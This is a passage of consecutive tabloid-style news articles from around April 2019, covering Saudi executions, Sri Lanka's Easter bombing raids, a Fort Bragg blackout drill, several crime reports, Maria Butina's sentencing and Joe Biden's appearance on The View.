when they were denied access to lawyers. It claimed they were held for months in solitary confinement and their convictions were solely based on their 'confessions' which were extracted under torture. At the time of his arrest, staff at Western Michigan University said the English language and pre-finance studies student, Mujtaba al-Sweikat, showed 'great promise' and called for him to be released At his trial, al-Hawaj was convicted on cyber crime charges including spreading information on WhatsApp 'as proscribed by the cyber crime bill' and sentenced to death. Another victim, Hussein Mohammed al-Musallam, said in court: 'Nothing in these confessions is correct and I cannot prove that I was forced to do it. But medical reports ... show the effects of torture on my body.' Abdulkarim al-Hawaj was beheaded in Saudi Arabia after being arrested as a teenager for spreading details about peaceful protests on WhatsApp State-run media said on Tuesday those executed had 'adopted extremist ideologies and formed terrorist cells with the aim of spreading chaos and provoking sectarian strife'. The U.N. human rights chief condemned the beheadings, saying most were minority Shi'ite Muslims who may not have had fair trials and at least three were minors when sentenced. The sentences were carried out in Riyadh, the Muslim holy cities of Mecca and Medina, central Qassim province and Eastern Province, home to the country's Shiite minority. Three other prisoners who were under 18 at the time of their alleged crimes, Ali al-Nimr, Dawood al-Marhoon and Abdullah al-Zaher, remain on death row. Al-Marhoon told Reprieve he was tortured and made to sign a blank document, to which Saudi officials then added his 'confession'. Those who were executed on Tuesday had been sentenced 'for adopting terrorist and extremist thinking and for forming terrorist cells to corrupt and destabilise security', a statement published by the official Saudi Press Agency (SPA) said. Executions in the ultra-conservative kingdom are usually carried out by beheading. At least 100 people have been executed in Saudi Arabia since the beginning of the year, according to a count based on official data released by SPA. Congresswoman Rashida Tlaib (pictured) slammed Mohammed Bin Salman on Tuesday over the execution of al-Sweikat Abdullah al-Zaher (left) and Dawood al-Marhoon (right) were also sentenced to death for crimes they allegedly committed under the age of 18. Under international law, this is strictly prohibited and they remain on death row Last year, the oil-rich Gulf state carried out the death sentences of 149 people, according to Amnesty International, which said only Iran was known to have executed more people. Rights experts have repeatedly raised concerns about the fairness of trials in Saudi Arabia, governed under a strict form of Islamic law. People convicted of terrorism, homicide, rape, armed robbery and drug trafficking face the death penalty, which the government says is a deterrent for further crime. A rundown hotel in the middle of central-western Queensland has set up a crowd-funding campaign to restore the iconic pub after its developers ran out of money. The Betoota Hotel, which is located about 170km east of Birdsville and a 16-hour drive west of Brisbane, was once a thriving watering hole for truckies, but in recent times has fallen into disrepair. The abandoned pub, which is the only building in town, first caught the eye of Robert 'Robbo' Haken, who used to frequent the pub in the 1960s and 1970s. Scroll down for video The Betoota Hotel (pictured), located about 170km east of Birdsville, was once a thriving watering hole for truckies, but in recent times has fallen into disrepair The Betoota Hotel is the only building in the town, which has an official population of zero When Mr Haken found the hotel in complete disarray in 2015, he decided he wanted to pay homage to the town's history by restoring the iconic pub to its former glory. 'When tourists and locals come to Betoota, I want them to walk back in time,' Mr Haken told ABC News in January. In recent times, Betoota is most recognised as the town that inspired the satirical online paper the Betoota Advocate - but in reality, its writers are based in Sydney. 'I think they (The Betoota Advocate) put Betoota back on the map because of their larrikin style of reporting,' Mr Haken said. After months of negotiations with the previous owners, David Brook and Kym Fort, he bought the pub and partnered with three mates, who agreed to help him run it. While many initially thought the rumours of the pub-reopening were a hoax, the Diamantina Shire Council later confirmed the pub would once again open its doors, the Brisbane Times reported. The abandoned pub (pictured), which is the only building in town, first caught the eye of Robert 'Robbo' Haken, who used to frequent the pub in the 1960s and 1970s Mr Haken previously said he hoped the restored pub would become a popular rest point and tourist destination, but when money unexpectedly ran out earlier this month, renovations came to a grinding halt. He has since created a GoFundMe account to help finance the restoration and make his dream of reopening the pub become a reality. 'We need to come up with a lot of extra unexpected money to make sure that all aspects of the hotel are as per all new regulations,' Mr Haken wrote in the listing. When Mr Haken found the hotel (pictured) in complete disarray in 2015, he decided he wanted to pay homage to the town's history by restoring the iconic pub to its former glory Mr Haken previously said he hoped the restored Betoota Hotel (pictured) would become a popular rest point and tourist destination He said while the team of developers have already completed the largest part of the restoration, due to non-trading they have unexpectedly come to a financial stop. 'We are looking to reach out to anyone and everyone that may be willing to make a donation (small or big) so that we can move things forward to get this pub re-opened. 'Absolutely any donations are so greatly appreciated,' he wrote. Mr Haken also stated in the crowd-funding listing that once the pub's doors are open and trading recommences, he plans to give back donations to local charities. While the team of developers have already completed the largest part of the restoration, a lack of income has forced them to stop work The GoFundMe listing has reached just over $2,000, but the Betoota Hotel (pictured) will likely need a substantial number of donations to reach its $75,000 goal The GoFundMe listing has since garnered plenty of reactions online, with many people taking to the site to post comments about the iconic pub. 'Would love to see this succeed and seems council are not being fair. Small business needs less red tape as they employ people and keep the economy going,' one person wrote. 'I want to see mates kicking goals and I want to have a beer with Robbo at the Betoota!' another person said. A third person added: 'It's an iconic Australian pub which should be maintained'. So far, the GoFundMe listing has reached just over $2,000 - but the Betoota Hotel will likely need a substantial number of donations to reach its $75,000 goal. A judge told an 83-year-old climate protester 'you must have knees better than mine' as he came before a court accused of clambering onto the roof of a train. Grandfather Philip Kingston appeared from custody at Highbury Corner Magistrates' Court today after allegedly gluing himself to a DLR train in London's Canary Wharf this week. Kingston, of Patchway, South Gloucestershire, appeared alongside Northampton University shoemaking teacher Nick Cooper and Bristol resident Diana Warner. All three indicated not guilty pleas and were greeted by supporters outside court after being bailed. Philip Kingston, 83, leaves Highbury Corner Magistrates Court today after being charged with obstructing the railway at an Extinction Rebellion protest at Canary Wharf Trains were delayed after climate protesters glued themselves to DLR trains in London District Judge Susan Williams told Kingston: 'Quite frankly how you got up to the roof of that train, Mr Kingston, I don't know, but you're knees are obviously better than mine.' She allowed bail conditions to be relaxed to allow octogenarian Mr Kingston to arrive in London the day before his crown court appearance. The judge joked: 'There's a quick service from Bristol - if no-one's glued to the train.' Activists held signs stating 'business as usual = death' and 'don't jail the canaries' and held a prayer vigil on top of a carriage yesterday the last of 10 days of protest. Prosecutor Alex Britton told the court 'numerous trains were affected and delayed' and estimated the cost of the disruption to the rail network at around 80,000. The trio are among six Christian Climate Action members charged with obstructing trains or carriages on the railway by an unlawful act. Kingston is greeted outside court by fellow campaigners after he was granted bail today He appeared in court alongside Northampton University shoemaking teacher Nick Cooper (left) and Bristol resident Diana Warner (right) The other three: Ian Bray, 51, Richard Barnard, 46, and Ruth Jarman, 55, are due in court later. District Judge Susan Williams said: 'The widespread public disruption that took place yesterday at the height of rush hour was quite clearly planned. 'I take the view this matter is too serious to be tried in this court so I'm allocating your case to the crown court.' Kingston, Warner and Cooper set a hearing date at Blackfriars Crown Court on May 23. A student from a top Chinese university who was accused of killing his mother has been arrested after living in hiding for nearly four years, according to media reports. It is said that Wu Xieyu, 24, was captured by police at an airport in Chongqing on Saturday after being identified by surveillance cameras with facial recognition function. The former economics student from distinguished Peking University was reportedly carrying more than 30 fake IDs at the time of the arrest. Wu Xieyu, 24, who was accused of killing his mother in 2015 has been arrested after living in hiding. The suspect, a former student at distinguished Peking University, was last spotted in February, 10 days before his mother's body was discovered in a sealed school dorm in Fuzhou Wu, who had been regarded as a 'perfect pupil' by his relatives and friends, allegedly murdered his mother, Xie Tianqin, at her dormitory in Fuzhou in July, 2015, before wrapping her corpse in layers of plastic film and sealing her room. The suspect's motives remain unknown as investigation is under way. Sources from police revealed to Beijing-based BJ News that Wu had bought various tools online before carrying out the alleged crime, including cleavers, scalpels, saws, cutting knives and water-proof cloth. He reportedly put air purifiers around his mother's dead body to absorb the smell and installed surveillance cameras in her dorm to keep track of any entrance. His mother's body was said to be discovered 218 days later on February 14, 2016. Police started a nationwide manhunt (left) with cash rewards in March, 2016, to look for the Wu after locking him down as the main suspect for his mother's death. Wu, seen giving a speech in his university (right), had been regarded as a 'perfect pupil' by his relatives and friends Police in Wu's hometown of Fuzhou believed the young man, aged 22 at the time, was the main suspect. They started a nationwide manhunt with cash rewards in March to look for the fugitive. According to Shanghai-based news outlet The Paper, Wu had always been an excellent pupil. He had reportedly received multiple scholarships from Peking University, one of the best universities in China. His mother, Xie, was a history teacher in a middle school in Fuzhou and his father had passed away not long before his accused crime. The Paper claimed that after Xie died, Wu contacted multiple relatives to borrow money from them. Before the case shocked China, the young man, born in 1994, had reportedly received multiple scholarships from Peking University (pictured), one of the best universities in the country The young man allegedly told them that he needed funds to go to study in Massachusetts Institute of Technology in the United States and that his mother would accompany him. It was also revealed that Wu had been dating a sexual worker and made several erotic videos of them. He had proposed to the woman but had been rejected. He was last seen in public using a cash machine in Henan Province 10 days before his mother's body was discovered. The public speculated that Wu had fled the country until news broke that he was apprehended by police in Jiangbei International Airport in Chongqing last week. He was spotted by the airport's newly upgraded, AI-powered surveillance system, reported Southern Metropolis Daily. He was apprehended by police in Jiangbei International Airport in Chongqing (pictured) The CCTV cameras are said to be a part of China's nation-wide surveillance network, called 'Sky Net'. As the world's largest surveillance network, the system comprises 20 million facial-detection cameras and is capable of identifying any of the nation's 1.4 billion citizens within three seconds. Wu was seeing off friends at the airport when he was captured, according to a follow-up report from The Paper citing an insider. The source said Wu had only been in the airport for less than 10 minutes. The case has been transferred to police in Fuzhou and is currently under further investigation, added The Paper. Police are yet to comment on the case. Fort Bragg army base was deliberately plunged into a blackout for more than 12 hours when military chiefs simulated a surprise cyber attack. Tens of thousands of unwitting soldiers and civilians were shocked when a power outage stretching across 163,000 acres hit the North Carolina barracks. The exercise at the garrison, which the Army claims to be the world's largest military base, shut off the electricity and curbed the water supply on Wednesday night. Fort Bragg's drill comes amid growing fears of cyberwarfare from countries such as Russia which has recently carried out several acts of aggression towards the West during a period of heightened tension. Fort Bragg army base was deliberately plunged into a blackout for more than 12 hours when military chiefs simulated a surprise cyber attack (stock image) Writing on its Facebook page, the command post said that the exercise aimed to highlight the compound's weaknesses which could be exploited by 'very likely' cyber attacks. It said: 'Fort Bragg has been conducting an exercise to identify shortcomings in our infrastructure, operations and security by cutting power throughout the installation. 'Fort Bragg has to train for any possible threats to the installation in order to remain mission capable. 'This exercise was not announced in order to replicate likely real-world reactions by everyone directly associated with the installation. The exercise at the garrison, which the Army claims to be the world's largest military base, aimed to highlight the compound's weaknesses 'In today's world, cyber-attacks are very likely. This exercise is exactly what we needed to do to identify our vulnerabilities and work to improve our security and deployment posture.' Fort Bragg later issued another statement after growing concern among those affected by the blackout. It said: 'We understand the exercise conducted caused concern for many within our community and surrounding areas. It comes amid growing fears of cyberwarfare from countries such as Vladimir Putin's (pictured) Russia which has recently carried out several acts of aggression towards the West during a period of heightened tension For that, we apologize. However, we had to identify ways to keep Fort Bragg mission capable,' said base officials on Facebook. 'Department of Defense requires military installations to conduct readiness exercises on an annual basis. 'With that said, our objectives have been met and as many of you know, everything is back to normal.' A brazen thief takes a pair of earrings from an elderly woman while she is wearing them in this shocking CCTV footage. The shameful incident took place in Sarajevo and shows the thief fleeing after taking the jewellery. The woman was returning to the block of flats where she lives when the theft happened. A thief approaches an elderly woman from behind as she returns to the front door of her block of flats in Sarajevo In the slow-motion CCTV footage, the woman is seen looking at something out of shot while holding shopping bags. A man in a black jacket creeps up behind her without her noticing. The thief then positions both his hands by the womans ears and in one swift movement snatches both earrings and runs away. Meanwhile, the woman appears to cower slightly before turning around to see who has just attacked her. He clasps his hands over her ears from behind and snatches a pair of earrings whose value is not known Before she realises what has just taken place, the thief flees from the scene. Police have confirmed they are investigating the incident However, she can do no more than look on as the suspect runs off with her jewellery, the value of which is not known. Local police have confirmed that they are investigating the incident. It is not clear whether the woman suffered any injuries. This talented little hamster entertained an entire crowd of tourists as he perfectly timed his playing dead when a boy pretended to shoot him with a finger gun. Hafizi Zulazfar filmed his cousin as he attempted to perform the trick shot in Badung, Indonesia. Mr Zulazfar said: 'My cousin and I thought it would be great if we could try to imitate a trick shot with that hamster since it seemed really hyper inside its cage, maybe excited with the crowd.' Hafizi Zulazfar filmed his cousin as he attempted to perform the trick shot in Badung, Indonesia. The little hamster responds to the cousin's cue and raises his claws in the air before falling backwards His cousin points his index finger and thumb to make a pretend gun and slowly swings round to face the furry creature. Then he cocks his hand and says: 'Bang'. The hamster picks up his cue perfectly and raises his claws in the air before falling backwards on to the bottom of his sawdust-filled cage. Peals of laughter erupt from the crowd and Mr Zulazfar can be heard giggling too. He said: 'Many of the tourists around us were also quite surprised by the spontaneous action of the hamster since it just jumped and ran randomly inside its cage before'. The funny scene was captured in November last year. Hamsters can be taught tricks if trainers use their favourite treats - sunflower seeds and strawberries - to coax them into performing Hamsters can be taught simple tricks like standing on their hind legs or slightly jumping in the air. Their favourite treats are sunflower seeds and strawberries so these are most commonly used as incentives to encourage hamsters to complete the trick they are being taught. To teach a hamster to stand you simply hold a sunflower seed slightly above the hamster's head while saying 'stand' so it has to stand on its hind legs to reach it. To teach a hamster to jump you do the same thing but hold the seed a little higher so it has to jump to reach it. If this is repeated enough the hamster will eventually do the tricks on command because they expect a treat at the end. An explosion rocked Sri Lanka as police opened fire at a suicide vest factory during a raid on suspected terrorists linked to the Easter Sunday massacre. Shooting erupted between security forces and a group of men in the east of the country during a search operation, a military spokesman said. The raid took place in the town of Sainthamaruthu, 200 miles from Colombo where 253 people were killed in luxury hotels and churches on Sunday. Several of the terror suspects blew themselves up as the authorities opened fire, according to Ada Derana. An ISIS banner is held up by Sri Lankan security personnel following their raid on suspected terrorists in the Samanthurai area on Friday evening A drone camera was uncovered as part of the raid on the bomb making operation at Samanthurai Local media reported 100,000 ball bearings were uncovered during the raid at Samanthurai as well as 100,000 sticks of explosive gelignite The location was a suicide vest manufacturing hide-out, News First reported. Earlier on Friday evening, a large bomb-making operation was uncovered at a raid in the Samanthurai area - around five miles away from the scene of the shootout. Sri Lanka's security forces said the location was believed to have been used by Islamist radicals to record a video pledging allegiance to Islamic State leader Abu Bakr al-Baghdadi before carrying out the deadly Easter attacks. 'We have found the backdrop the group used to record their video,' the police said in a statement. There were 150 sticks of explosive gelignite, 100,000 ball bearings, ISIS uniforms and an ISIS flag, as well as a drone camera. Police believed the Islamic State uniforms were similar to those worn by the eight fighters for the film they made ahead of Sunday's attacks. The video was released by ISIS two days after the bombings. Photos showed what appeared to be large canisters of fuel as well as detonating devices and tubing believed to have been part of a bomb manufacturing operation, News First said. The Special Task Force uncovered a suicide manufacturing hide-out as they engaged with suspected terrorists on Friday (pictured: bomb-making equipment recovered earlier on Friday evening in the Samanthurai area around five miles away) Local media reported the police took hold of a massive haul of bomb-making equipment in the Samanthurai area, around five miles away from the shootout Cables were recovered along with other bomb making in the Samanthurai before the shootout took place A security officer stands guard outside St. Anthony's Shrine on Friday after the Easter Sunday bombings A military spokesman said there was an explosion in the area and when soldiers went to investigate they were fired upon. No details of casualties were immediately available. The news comes as the country remains on high alert since the suicide bombings on churches and hotels in which more than 250 people were killed on Easter Sunday. Police and the army have been conducting raids as they gather intelligence about the perpetrators and their supporters. Islamic State has claimed responsibility. Regina Oliver, 27, was arrested by police on desertion charges on Tuesday, after she allegedly left her son to ride alone to school in a Lyft car A New Orleans rapper made famous by a 2017 viral trend was arrested on Tuesday, after she allegedly booked a Lyft for her five-year-old son and sent him to school in the ride-sharing car alone. Reiona Oliver, 27, otherwise known by her stage-name GameOva Reedy, was apprehended on April 23, where she is now facing child desertion charges, police said. According the St. Bernard Parish Sheriffs Office, Oliver summoned a car from Lyft to her home Chalmette, and instructed the driver to take the young boy to a school in New Orleans. Oliver is said to have expressed to the driver she wouldnt be travelling with him, as she placed her son in the back-seat and walked off. Oliver is said to have expressed to the driver she wouldnt be travelling with him, as she placed her son in the back-seat and walked off The Lyft driver apparently expressed that he wouldnt be able to drive the boy unless she accompanied him. He later drove the boy to a Sheriff's Office to report Oliver (file photo) The driver apparently expressed that he wouldnt be able to drive the boy unless she accompanied him, but the rapper went back into her home and refused to come out. Instead of escorting the boy to school, the driver took Olivers son to a Sheriffs Office substation in Arabi and reported the encounter to deputies. They later booked Oliver on child-desertion charges and for two outstanding warrants for traffic offenses in Jefferson Parish, as detailed in a police report on Thursday. In a now deleted Instagram post, Oliver explained to her audience of 250,000 followers that the reason she placed her son in the car alone was because she wasnt feeling well and didnt realize it wasnt okay to do so, WWL-TV reported. Apparently the rapper went back into her home in Chalmette and refused to accompany her son in the car Oliver, a bounce rapper, is best known for her song Freestyle - an expletive-laden track in which the 27-year-old raps about the things she would do in return for enjoyable sex. The song inspired a social media trend in 2017 known as the #ForTheD challenge, in which several hip-hop artists such as Cardi B - recorded their own versions of the song. If convicted of the desertion charge, Oliver could face up to six months in prison, according to Louisiana state law sentencing guidelines. Kentucky's Republican Governor has suggested recent teacher protests that resulted in some schools being closed may have directly led to a seven-year-old girl being shot. Gov. Matt Bevin on Thursday drew connections between the young girl's shooting and her school closing because teachers had called in sick to rally at the state Capitol. Teachers using sick days to mobilize at the statehouse - forcing some school districts to close - have become a frequent target of Bevin. Gov. Matt Bevin on Thursday drew connections between the young girl's shooting and her school closing because teachers had called in sick to rally at the state Capitol Last year, he asserted without evidence that a child who had been left home alone had been sexually assaulted on a day of mass school closings in Kentucky as teachers rallied. He later apologized for the comments. But in remarks to the Louisville Rotary Club on Thursday, Bevin appeared to double down on such connections. Bevin's comments connecting the seven-year-old girl's shooting to a sickout by teachers came as he answered a question about how to reduce gun violence. He told a luncheon crowd that more needs to be done to promote gun safety. 'One thing you didn't hear almost anything about is while we had people pretending to be sick when they weren't sick, and leaving kids unattended to or in situations that they should not have been in, a little girl was shot... by another kid because they were somewhere that they weren't intended to be because the parent didn't have any option,' Bevin said. The governor added that the children were left 'in a compromised situation where they encountered a gun and there was not enough awareness'. His remarks appeared to refer to a March shooting in Louisville when the girl and her 11-year-old brother were in their home alone while their uncle was outside. Police have said the girl's brother found the gun after she was shot, but have not released further details about how the shooting happened. His remarks appeared to refer to a March shooting in Louisville when the girl and her 11-year-old brother were in their home alone. Police said the girl's brother found the gun after she was shot Public schools in that county were closed on the day of the shooting due to a sickout as many teachers rallied at the Capitol in Frankfort. Bevin's comments - during a lengthy appearance in which he fielded questions about public pensions, health care, economic development and other issues - drew rapid-fire criticism from Democrats and a prominent education group. 'To politicize the tragic shooting of a child is beneath the dignity of the office Matt Bevin has rarely acted as if he holds,' the Kentucky Education Association, representing more than 40,000 active and retired educators statewide, tweeted. Three Democrats running for governor this year quickly joined in. Attorney General Andy Beshear said on Twitter that Bevin's comments were 'despicable' and that Bevin is 'unfit to govern.' Former state auditor Adam Edelen tweeted: 'There's plainly something wrong with Matt Bevin. You don't politicize the shooting of a child.' State House Minority Floor Leader Rocky Adkins condemned Bevin for insulting and belittling teachers and vowed, if elected, to 'return dignity and respect' to the governor's office. Bevin rebuked reporters for singling out the comments from his lengthy appearance in which he talked about many of the state's pressing issues - including education, health care and funding woes for public pension. Teachers using sick days to mobilize at Kentucky's state Capitol - forcing some school districts to close - have become a frequent target of Bevin and his recent comments ramped up his feud with some education groups as he runs for reelection 'This is why our state is struggling is the fact that we're not focusing on things that are important,' the governor said at the start of a question-and-answer session with reporters after his appearance. Bevin's approval ratings sank last year after he criticized teachers and other public employees who opposed his proposed changes to the public pension system. Kentucky's public retirement plans are among the worst funded in the country, and teachers railed against changes he wanted to make to future benefits. Bevin on Thursday defended his efforts to shore up public pension plans for teachers and other public employees. He noted that his grandmother was a public school teacher who relied on her pension in retirement. 'She would have been up a creek in every sense of that word ... had it not been for this pension check that she got,' Bevin told the luncheon crowd. 'It's why I'm as passionate as I am' about the pension issue. Kentucky teachers rallied last year to oppose pension changes and to demand generous state funding for schools. Protests continued this year against some education measures. The demonstrations were part of a wave of teacher activism across the country that began last year in West Virginia and quickly spread to other states, including Oklahoma and Arizona. A man in east China has been detained by police for driving his Porsche over his ex-girlfriend after she repeatedly refused to get back with him. The jilted lover, identified by police as Jin, was filmed reversing his car over the woman, who was seen clinging onto the driver's side door. The woman was immediately rushed to hospital by horrified witnesses and sustained a broken left foot and various soft-tissue injuries, according to local authorities. The jilted lover, identified by police as Jin, was filmed reversing his car over the woman, who was seen clinging onto the driver's side door at a university in Zhejiang, east China The woman was immediately rushed to hospital by horrified witnesses and sustained a broken left foot and various soft-tissue injuries, according to local authorities The horrifying incident occurred on Thursday at the Zhejiang Sci-Tech University in Hangzhou, where the woman was studying, according to Xiasha district police. Disturbing footage shows the driver of the black Porsche Macan reversing his car out of a parking space towards the woman, surnamed Zhao. She is seen lying on the ground and run over by the Porsche's front-left wheel as witnesses screamed in horror. As the victim lies motionless on the ground, the man drives away. Witnesses said Jin did not stop to check on his ex before leaving campus. Disturbing footage shows the driver of the black Porsche Macan, reversing his car out of a parking space towards the woman, surnamed Zhao Police said they received reports of the incident at 11:07am local time on April 25. 'The female university student, Zhao, had been in a "relationship quarrel" with Jin, who is not a student at the school,' a police statement said. Jin is currently under police control and the incident is being investigated, it added. Zhao, whose age has not been given, is receiving treatment at the Zhejiang Provincial Hospital of Traditional Chinese Medicine. She has been diagnosed with a broken left foot and various soft-tissue injuries. She is in stable condition. As the victim lies motionless on the ground, the man drives away. Witnesses said the man did not stop to check on his ex before leaving campus Social media users claiming to be acquaintances of the victim have revealed that Zhao broke up with Jin in March. However, he allegedly showed up at campus multiple times in a bid to win her back, to the point where he would wait for her outside her lecture halls. They claim that Thursday's incident occurred after Jin snatched his ex-girlfriends mobile phone and tried to leave with it. Zhao was run over while attempting to get it back. The university said it was investigating the incident and has yet to release a statement about the matter. Sunday Masses in Sri Lanka have been cancelled until further notice following the Easter bombings, says the Archbishop of Colombo. Cardinal Malcolm Ranjith made the announcement during a news conference in the Sri Lankan capital on Friday. He also used the conference to appeal for financial support to rebuild the lives of the victims of the terror attack and to reconstruct the churches targeted. The Islamic State suicide bombings killed more than 250 people on Sunday and officials are still searching for suspects. The Archbishop of Colombo, Cardinal Malcolm Ranjith, announced that all Sunday Masses were cancelled A view of St. Sebastian's Church, which was damaged in the blast in Negombo, north of Colombo, on Sunday morning The US Embassy in Sri Lanka has warned people to stay away from places of worship this weekend over concerns about possible further attacks. On Friday, authorities urged Muslims not to hold congregational prayers over fears that they might be targeted. However, several mosques did under the protection of security forces. The decision comes just days after senior priests had shared their fears over security following the bombings. 'On the advice of the security forces we are keeping all churches closed,' a senior Catholic priest said. Private services for burials were still carried out, but no public masses are scheduled until further notice. Security forces made several arrests over the attacks this week, as the government faced pressure over its failure to act on intelligence warnings about possible bombings. Wreckage: Sri Lankan security personnel inspect the damage at St Anthony's Shrine Investigators at the scene of a bombing at St. Sebastian Church in Negombo, on Monday Police have so far arrested 75 people but tensions remain high with several suspects still on the loose since suicide bombers blew themselves up in luxury hotels and churches packed with Easter worshippers on Sunday. The president has asked the police chief and top defence ministry bureaucrat to step down, though neither has done so yet. Brigadier Sumith Atapattu said the army had increased its deployment by 1,300 to 6,300, with the navy and airforce also deploying 2,000 more personnel. More than 1,000 mourners gathered at the St. Sebastian church in Negombo, where more than 100 parishioners were killed as they worshipped on Sunday morning Authorities also announced a ban on drone flights and suspended licences issued to commercial operators with immediate effect. Sri Lanka's police chief had warned on April 11 that suicide bombings against 'prominent churches' by the local Islamist group National Thowheeth Jama'ath (NTJ) were possible, citing information from a foreign intelligence agency. CNN reported that Indian intelligence services had passed on 'unusually specific' information in the weeks before the attacks, some of it from an IS suspect in their custody. At least 359 people were killed in coordinated bombings by eight men who had pledged allegiance to ISIS targeting Christians and tourists on Easter Sunday Sri Lankan authorities have said that the bombers were motivated to attack churches in revenge for the New Zealand mosque attack in Christchurch But that information was not shared with the prime minister or other top ministers, the government has said. 'It was a major lapse in the sharing of information,' deputy defence minister Ruwan Wijewardene conceded at a press conference on Wednesday. President Maithripala Sirisena, who is also defence and law and order minister, pledged Tuesday to make 'major changes in the leadership of the security forces in the next 24 hours'. On Thursday, he met the country's political parties to discuss the crisis, and later will meet religious leaders as concerns rise about a potential backlash against Sri Lanka's Muslim minority. An inside view of the St. Anthony's Shrine after an explosion hit St Anthony's Church in Kochchikade in Colombo Investigators are still piecing information together about the attack and those involved, with Wijewardene revealing Wednesday that one attacker had studied in Britain and did post-graduate studies in Australia before returning to Sri Lanka. 'Most of them are well-educated and come from middle, upper-middle class families, so they are financially quite independent and their families are quite stable financially, that is a worrying factor in this,' the minister added. A key suspect, NTJ leader Zahran Hashim, appears to be among eight people seen in a video released Tuesday by IS after it claimed the attacks. Officials said it was still unclear whether Hashim was among the suicide attackers or had escaped after the blasts. Authorities have said they cannot rule out further attacks while suspects remain at large. In all, nine people are believed to have blown themselves up on Sunday, either during attacks or when police attempted to arrest them. Butina (pictured in a August 17, 2018 mugshot) pleaded guilty last year to a conspiracy charge and admitted she covertly gathered intelligence on the National Rifle Association and other groups A Russian woman who admitted to being a secret agent for the Kremlin has been sentenced to 18 months in prison. Maria Butina has been jailed since her July 2018 arrest and will get credit for time served. U.S. District Judge Tanya Chutkan also ordered Butina deported after she completes her sentence. Chutkan said she was imposing the sentence to reflect the seriousness of the offense and to promote deterrence. 'This was no simple misunderstanding by an overeager foreign student,' Chutkan said before imposing the sentence, which was the same amount of prison time prosecutors had recommended. Butina pleaded guilty last year to a conspiracy charge and admitted she covertly gathered intelligence on the National Rifle Association and other groups at the direction of a former Russian lawmaker. The intention was to influence U.S. conservative activists and Republicans. Butina said she was 'ashamed and embarrassed' by her own actions. Secret agent Maria Butina (pictured April 21, 2013) has been sentenced to 18 months in prison Butina, a former graduate student at American University in Washington who publicly advocated for gun rights, begged the judge for mercy before her sentencing and expressed remorse. Clad in a green prison jumpsuit, the Siberian redhead's voice broke at times as she read from a prepared statement. 'I have three degrees, but now I am a convicted felon with no job, no money,' she said. She also said she was 'deeply sorry' and asked the judge for mercy. In a court filing, prosecutors said Butina, 30, engaged in an 'ambitious' conspiracy and was 'keenly aware that portions of her work were being reported to the wider Russian government.' 'Butina was not a spy in the traditional sense,' prosecutors said in their memo. 'She was not a trained intelligence officer. But the actions she took were nonetheless taken on behalf of the Russian Official for the benefit of the Russian Federation, and those actions had the potential to damage the national security of the United States.' Alexander Torshin, who was a deputy governor of Russia's central bank, has been identified as the Russian official. Torshin was not charged, but he was hit with sanctions by the U.S. Treasury Department in April 2018. The U.S. Justice Department has said Butina worked with the Russian official and two Americans to try to infiltrate the NRA and influence American foreign policy toward Russia. One of the two Americans was identified as Paul Erickson (pictured above with Maria Butina), a conservative U.S. political activist who was Butina's boyfriend Federal prosecutors in South Dakota have charged Erickson with wire fraud and money laundering unrelated to the Butina case (pictured together) The U.S. Justice Department has said Butina worked with the Russian official and two Americans to try to infiltrate the NRA and influence American foreign policy toward Russia. One of the two Americans was identified as Paul Erickson, a conservative U.S. political activist who was Butina's boyfriend. Federal prosecutors in South Dakota have charged Erickson with wire fraud and money laundering unrelated to the Butina case. Russia has accused the United States of forcing Butina to falsely confess to what a foreign ministry spokeswoman called 'absolutely ridiculous charges.' The case against Butina was separate from Special Counsel Robert Mueller's 22-month investigation of Russian interference in the 2016 U.S. election, which detailed a series of contacts between Trump's campaign and Russian officials. Reuters previously reported that Butina was a public Trump supporter who bragged at parties in Washington that she could use her political connections to help get people jobs in his administration. Trump addressed the NRA at its annual convention on Friday. Vice President Joe Biden told the ladies of 'The View' Thursday he needs to be 'more cognizant' of how women respond to his interactions with them, addressing the issue that poses an early challenge for his new presidential campaign. In his first interview of his campaign, Biden was challenged on the 'Creepy Joe' claims which hit him last month, and on the treatment of Anita Hill during his chairmanship of the Clarence Thomas Supreme Court confirmation hearings - as well as on his age. But he also broke down in tears as he discussed his elder son Beau's death from cancer in 2015, saying that he wakes up every morning hoping that he is proud of his father. Biden pointedly did not apologize for the way he treated Anita 28 years ago, following revelations that he called her days before announcing his presidential bid. 'I'm sorry the way she got treated,' Biden said. 'If you go back and look at what I said and I didn't say, I don't think I treated her badly. I took on her opposition.' He said what he didn't figure out to do was, 'How do you stop people from asking inflammatory questions? How do you stop these character assassinations outside? There was a full blown attack on her in order to get the defense for Clarence Thomas. And no woman or any victim of harassment should ever be put through that circumstance in public hearings,' he said. 'I have to be, and everybody has to be, much more aware of the private space of men and women,' Biden said on an appearance of 'The View' Tragedy: Beau Biden died in 2015 of the same brain cancer which killed John McCain last year. Biden told The View that he thinks every day about whether his son would be proud of what he does Hill revealed this week that she was not satisfied with what Biden told her during their call. 'I cannot be satisfied by simply saying Im sorry for what happened to you,' Hill told the New York Times. 'I will be satisfied when I know there is real change and real accountability and real purpose.' 'Not only didn't I vote for Clarence Thomas, I believed her from the beginning,' Biden responded on the program. 'I was against Clarence Thomas. I did everything in my power to defeat Clarence Thomas.' Biden broke down while discussing his late son Beau Biden, who urged him to run for president before his death from brain cancer at age 46. 'He said dad promise me, give me your word as a Biden, you will not back away. What he meant was, he knew I would always take care of the family to the best of my knowledge. But he didn't want me to withdraw from the things that motivated my whole life and trying to get engaged and change things and try to make things better,' said Biden, who titled a book on the subject, 'Promise me, Dad.' Asked if that was why he was running, Biden responded: 'He's not why I'm running, But I hope as Ive this sounds stupid,' growing more emotional. 'When I get up in the morning, I think about, I hope he's proud of me,' he continued. 'I actually thought in my head when I walked out here: Do I? We're friends,' said Biden, who hugged co-host Meghan McCain when he walked on to the set. He and her father John McCain were close friends Biden greets host Ana Navarro at the start of his appearance on 'The View'. Biden appeared on the show a day after announcing his presidential campaign "I hope he's proud of me."@JoeBiden discusses his late son Beau: "He didn't want me to withdraw from the things that have motivated my whole life about trying to ... make things better." https://t.co/rxCXj3uvWG pic.twitter.com/HVA04j3AiW The View (@TheView) April 26, 2019 'Look, like I said, a lot of people, all you folks have lost somebody. They're still with you. They're in you. They're there. The way you get by this, you have something to do, someone to love and something to look forward to. And youve got to get there and you can get there. But the people who impress me get their on their own,' he said. Then Meghan McCain, who shared with Biden grief over her late father John McCain, said: 'I'm sorry. they're making us go.' That's okay, responded Biden. 'I'm always crying around you Joe. We'll be right back,' she said, as Biden wiped away a tear of his own. Biden also rejected President Trump's new insult of calling him 'Sleepy Joe,' saying: 'That's the first time i've ever been referenced that way by anyone else. Usually it's the other end, hyper Joe.' Biden appeared on ABC's show just a day after announcing his presidential campaign and 